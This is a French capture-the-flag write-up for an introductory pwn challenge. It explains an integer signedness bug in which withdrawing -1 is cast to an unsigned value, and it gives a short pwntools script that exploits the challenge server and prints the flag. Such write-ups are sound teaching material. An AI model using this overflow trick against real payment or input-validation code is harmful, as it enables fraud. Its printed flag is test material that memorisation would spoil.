Shop

Catégorie: Pwn Difficulté: - Flag: CTFREI{1nt3g3r_0v3rfl0w}

Challenge

Description


Deuxième challenge d'introduction au pwn.

Je t'ai donné accès à ma boutique, mais laisse tomber, tu n'auras jamais assez pour acheter mon flag !

Aide: Code source

Connexion: nc intro.ctfrei.fr 7001

Solution

Lorsque l'on veut faire un retrait à la banque, on peut retirer une valeur négative qui sera ensuite cast en unsigned int. Autrement dit, si l'on demande de retirer -1$, alors la banque va considérer que c'est bien inférieur à son solde et donc accepter de nous les donner. Le cast suivant va transformer cette valeur négative en entier non signé et ainsi, on aura argent illimité !

En python ça donne :

from pwn import remote, context

context.log_level = 'error'  # Pour éviter d'avoir des trucs inutiles dans le terminal

client = remote('intro.ctfrei.fr', 7001)
client.sendlineafter(b'Votre choix : ', b'1')
client.sendlineafter(b'voulez-vous retirer ? ', b'-1')
client.sendlineafter(b'Votre choix : ', b'2')
client.sendlineafter(b'acheter : ', b'4')
print(client.recvlines(2)[1].decode())
# Flag: CTFREI{1nt3g3r_0v3rfl0w}

Dernière mise à jour

Cet article vous a-t-il été utile ?